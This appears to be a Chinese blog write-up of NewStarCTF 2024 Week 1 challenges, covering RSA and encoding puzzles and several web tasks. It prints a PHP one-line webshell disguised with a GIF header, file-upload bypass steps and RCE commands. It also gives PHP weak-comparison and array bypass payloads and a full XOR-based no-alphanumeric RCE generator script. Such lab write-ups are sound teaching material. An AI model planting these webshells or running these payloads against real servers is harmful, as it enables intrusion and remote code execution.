NewStarCTF 2024 公开赛道 Week1

image.png
image.png

from Crypto.Util.number import \*
from flag import flag

def gen\_prime(n):
    res = 1

    for i in range(15):
        res \*= getPrime(n)

    return res


if __name__ == '\_\_main\_\_':
    n = gen_prime(32)
    e = 65537
    m = bytes_to_long(flag)
    c = pow(m,e,n)
    print(n)
    print(c)
# 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
# 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595


使用风二西(风大)的轩禹RSA工具分解模数N,然后计算私钥,计算明文,明文转字符即可获得flag
image.png
image.png

Small d

image.png
image.png

from secret import flag
from Crypto.Util.number import \*

p = getPrime(1024)
q = getPrime(1024)

d = getPrime(32)
e = inverse(d, (p-1)\*(q-1))
n = p\*q
m = bytes_to_long(flag)

c = pow(m,e,n)

print(c)
print(e)
print(n)

# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433


结合题目提示,猜测是维纳攻击,还是用风大的工具选择维纳攻击模式即可
image.png

babyencoding

image.png
image.png

part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`

part 1是一层base64加密
image.png
part 2是一层base32加密
image.png
part 3是一层UUencode加密,使用网站http://web.chacuo.net/charsetuuencode解密,获得最后一段flag,最后进行拼接即可
image.png
image.png

Web

泄漏的秘密

image.png
image.png
首先查看一下robots.txt爬虫协议。访问/robots.txt,获得一半flag
image.png
接下来查看网站的备份文件,一般是www.zip文件,访问/www.zip,下载下来之后,获得另外一半flag
image.png
image.png

Begin of Upload

image.png
image.png
作者徽是vip1024c

发现只允许上传: JPG, JPEG, PNG, GIF图片文件
image.png
F12之后查看源代码,发现是前端验证,可以直接在浏览器检查代码把checkFile()函数删了或者改成true,并按回车确认,然后上传一句话木马文件

// 一句话木马的PHP文件的代码为如下所示
GIF89a
<?php 
//?cmd=phpinfo();
$func =create\_function('',$\_REQUEST['cmd']);
$func();
?>

image.png
image.png
还是弹出要前段验证,不要慌,换个浏览器
image.png
用火狐浏览器重复刚才的操作,就上传成功了
image.png
image.png
然后访问url /upload/shell3.php,POST传参cmd=phpinfo();发现代码成功执行
image.png
image.png
那么我们就可以进行RCE了
首先查看一下根目录有什么文件 cmd=system(“ls /”);
image.png
发现 fllll4g 文件
查看它 cmd=system(“cat /fllll4g”);
即可获得flag
image.png

ErrorFlask

image.png
Flask错误模板注入
image.png
它说给他传两个参数number1 和 number2
那我只给它传一个参数 number1 ,导致它报错

/?number1=1

image.png
然后Ctrl+U查看源代码,Ctrl+F搜索flag,即可获得flag
image.png

Begin of HTTP

image.png
它说使用 GET方式 来给 ctf 参数传入任意值来通过这关,那么我们就

/?ctf=1

image.png
第二关需要Ctrl+U查看源代码来找到secret,发现它被base64加密了,那么我们解密之后再用POST传参即可
image.png
image.png
image.png
image.png
第三关需要再Cookie中把power的值改为ctfer,改完之后回车确认,然后刷新网页即可过关
image.png
image.png
接下来需要修改User-Agent头部信息,最后点击EXECUTE执行操作来过关
image.png
image.png
接下来也是修改HTTP头,用Hackbar即可,需要使用Referer头
image.png
image.png
最后一关需要本地用户才可以访问,按照常规思路是用X-Forwarded-For,但是不行
image.png
image.png
那么我们换一个 x-real-ip,参考其他师傅博客http://t.csdn.cn/7Y4Cc
image.png
image.png

Begin of PHP

image.png
题目源码

<?php
error\_reporting(0);
highlight\_file(\_\_FILE\_\_);

if(isset($\_GET['key1']) && isset($\_GET['key2'])){
    echo "=Level 1=<br>";
    if($\_GET['key1'] !== $\_GET['key2'] && md5($\_GET['key1']) == md5($\_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($\_POST['key3'])){
        if(md5($\_POST['key3']) === sha1($\_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($\_GET['key4'])){
        if(strcmp($\_GET['key4'],file\_get\_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($\_GET['key5'])){
        if(!is\_numeric($\_GET['key5']) && $\_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($\_POST);
    foreach($\_POST as $var){
        if(preg\_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file\_get\_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

level 1的方法一:

首先要通过Level 1 ,发现它是PHP的弱类型比较,只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会先转换字符串的类型,再进行比较,而在比较时因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

image.png
那么给key1和key2以GET方式传参,即可通过Level 1,到达Level 2

/?key1=240610708&key2=QLTHNDT

image.png

level 1的方法二:

就算它是强类型比较(即===)时,此时两个md5后的值采用严格比较,没有规定字符串,如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过。数组为空,那么MD5加密之后都为0,那么就是相等的,满足条件,可以成功绕过。
payload:

/?key1[]=1&key2[]=2

image.png
接下来到Level 2,key3要用POST传参,一样可以用数组绕过
image.png
image.png
接下来到Level 3
strcmp函数是string compare(字符串比较)的缩写,用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2),若str1=str2,则返回零;若str1e<str2,则返回负数;若str1>str2,则返回正数。
image.png
strcmp有一个bug就是如果比较的是数组的话,直接返回一个0。
那么我们依旧传一个数组过去,让(strcmp($_GET[‘key4’],file_get_contents(“/flag”)) == 0)条件成立
image.png
image.png
接下来到Level 4
key5不能是纯数字,并且key5要大于2023
image.png
is_numeric() 函数用于检测变量是否为数字或数字字符串
is_numeric()函数用2024a绕。2024a是字符串,但是弱比较的时候,因为数字在前面,php会将其整体转成数字,就可以通过比较了
image.png

接下来到Level 5
使用了extract函数https://www.runoob.com/php/func-array-extract.html
extract能覆盖变量
extract对数组进行操作的话,就是把key3[]后面的都当成数组的值吗
题目是extract了$_POST,操作的是POST数组,然后因为有默认参数所以能修改一些值
image.png
然后正则匹配检查POST数据,不能有大小写字母和数字;
如果flag5为真,那么就输出flag
接下来要使用羽师傅博客的无字母数字RCE脚本http://t.csdn.cn/4PExz
先用PHP生成字典

<?php

/\*author yu22x\*/

$myfile = fopen("xor\_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex\_i='0'.dechex($i);
		}
		else{
			$hex\_i=dechex($i);
		}
		if($j<16){
			$hex\_j='0'.dechex($j);
		}
		else{
			$hex\_j=dechex($j);
		}
		$preg = '/[a-zA-Z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg\_match($preg , hex2bin($hex\_i))||preg\_match($preg , hex2bin($hex\_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex\_i;
		$b='%'.$hex\_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);


然后用Python3跑脚本

# -\*- coding: utf-8 -\*-

# author yu22x

import requests
import urllib
from sys import \*
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor\_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)



## 学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)



  • 27
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值